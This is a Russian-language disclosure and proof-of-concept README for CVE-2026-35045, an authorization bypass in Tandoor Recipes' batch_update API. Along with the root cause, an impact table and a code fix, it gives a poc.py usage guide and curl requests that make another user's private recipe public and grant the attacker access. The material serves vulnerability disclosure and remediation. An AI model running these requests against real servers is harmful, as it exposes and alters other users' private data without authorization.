
Эксплойт proof-of-concept для CVE-2026-35045, уязвимости нарушенной авторизации на уровне объектов в Tandoor Recipes, демонстрирующий несанкционированное изменение рецептов через конечную точку API batch_update.
Конечная точка PUT /api/recipe/batch_update/ в Tandoor Recipes v2.6.1 позволяет любому аутентифицированному пользователю внутри Space изменять любой рецепт в этом Space — включая приватные рецепты, принадлежащие другим пользователям. Это полностью обходит проверки авторизации на уровне объектов, применяемые ко всем стандартным конечным точкам для отдельных рецептов.
Основная причина — поведенческий пробел в Django REST Framework: действия списка с detail=False никогда не вызывают has_object_permission(), только has_permission(). Фильтрация queryset осуществляется исключительно по space=request.space, без проверки created_by, private или списка shared. Злоумышленник может принудительно раскрыть приватные рецепты, самостоятельно предоставить себе постоянный доступ, отозвать права других пользователей и изменить метаданные — всё это одним вызовом API, который выглядит как обычный и возвращает HTTP 200 OK с пустым телом.
| Поле | Значение |
|---|---|
| CVE ID | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Обход авторизации через управляемый пользователем ключ |
| CVSS v3.1 | 8.1 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Затронутая версия | Tandoor Recipes ≤ 2.6.1 |
| Поставщик | TandoorRecipes/recipes |
detail=False обходит проверки разрешений на уровне объектовФайл: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Нет проверки created_by или private
)
В Django REST Framework действия, зарегистрированные с detail=False, являются действиями списка. Они никогда не вызывают get_object(), а значит check_object_permissions() и CustomRecipePermission.has_object_permission() не выполняются. Запускается только has_permission() — который проверяет членство в Space, а не владение рецептом.
PUT /api/recipe/{id}/ проходит полный поток проверки разрешений DRF:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ отказывает в доступе, если рецепт приватный и не принадлежит/не расшарен с запрашивающим
Конечная точка batch_update молча пропускает всю эту цепочку.
RecipeBatchUpdateSerializer предоставляет следующие поля — записываемые для любого рецепта в Space:
| Поле | Эффект |
|---|---|
private | Переключение видимости рецепта |
shared_add / shared_remove / shared_set | Управление списком контроля доступа |
keywords_add / keywords_remove / keywords_set | Изменение метаданных рецепта |
working_time / waiting_time | Изменение данных о времени приготовления рецепта |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attacker │ ─────────────────────────────────────→│ Tandoor Server │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Space member)│
│ │
│ has_object_ │
│ permission() │
│ ✗ НИКОГДА НЕ │
│ ВЫЗЫВАЕТСЯ │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Нет проверки владения
│
▼
┌────────────────┐
│ Recipe ID 2 │
│ (владелец A) │
│ private=false ← изменено
│ shared=[2] ← само-предоставлено
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attacker (B) │
│ теперь имеет │
│ полный доступ │
│ к Recipe ID 2 │
└────────────────┘
requestspip install requests
# Принудительно раскрыть приватный рецепт и предоставить себе доступ (по умолчанию)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Только принудительное раскрытие (установить private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Только само-предоставление доступа (добавить в shared, оставить private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Действие | Описание |
|---|---|
expose | Устанавливает private: false для целевого рецепта — принудительно делает его видимым для всех участников Space |
self_grant | Добавляет ID злоумышленника в shared_add — предоставляет постоянный доступ, даже если рецепт остаётся приватным |
both | Выполняет оба действия одним запросом (по умолчанию) |
1. Предусловие — Рецепт недоступен через стандартную конечную точку
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Ожидается: 404 (приватный, не принадлежит)
2. Эксплуатация — batch_update без авторизации
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Ожидается: HTTP 200 OK — {}
3. Постусловие — Рецепт теперь доступен
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Ожидается: HTTP 200 с данными рецепта, private=false
4. Проверка через список рецептов
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Ожидается: 2 <recipe_name> False
| Область воздействия | Описание | Серьёзность |
|---|---|---|
| Принудительное раскрытие рецепта | Установка private: false делает любой рецепт видимым для всех участников Space | Высокая |
| Несанкционированное само-предоставление доступа | Добавление собственного ID пользователя через shared_add предоставляет постоянный доступ на чтение/запись к любому рецепту | Высокая |
| Отзыв доступа | Использование shared_remove или shared_set для удаления легитимных пользователей из списка расшаривания рецепта | Высокая |
| Изменение метаданных | Изменение working_time, waiting_time и keywords на рецептах, принадлежащих другим пользователям | Средняя |
Отфильтруйте queryset по created_by=request.user, чтобы ограничить пакетные операции только рецептами, принадлежащими пользователю:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Исправление: ограничить рецептами владельца
)
Если администраторам Space требуется возможность пакетного обновления любых рецептов, добавьте условную проверку на основе роли:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Любое действие с detail=False, которое работает с отдельными объектами, должно вручную обеспечивать авторизацию на уровне объектов. has_object_permission() в DRF никогда не вызывается для действий списка — эта ответственность полностью ложится на разработчика.
Данное доказательство концепции предоставлено только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несёт ответственности за неправомерное использование данного инструмента.
Filipe Gaudard — Исследователь в области наступательной безопасности | eWPT | eWPTx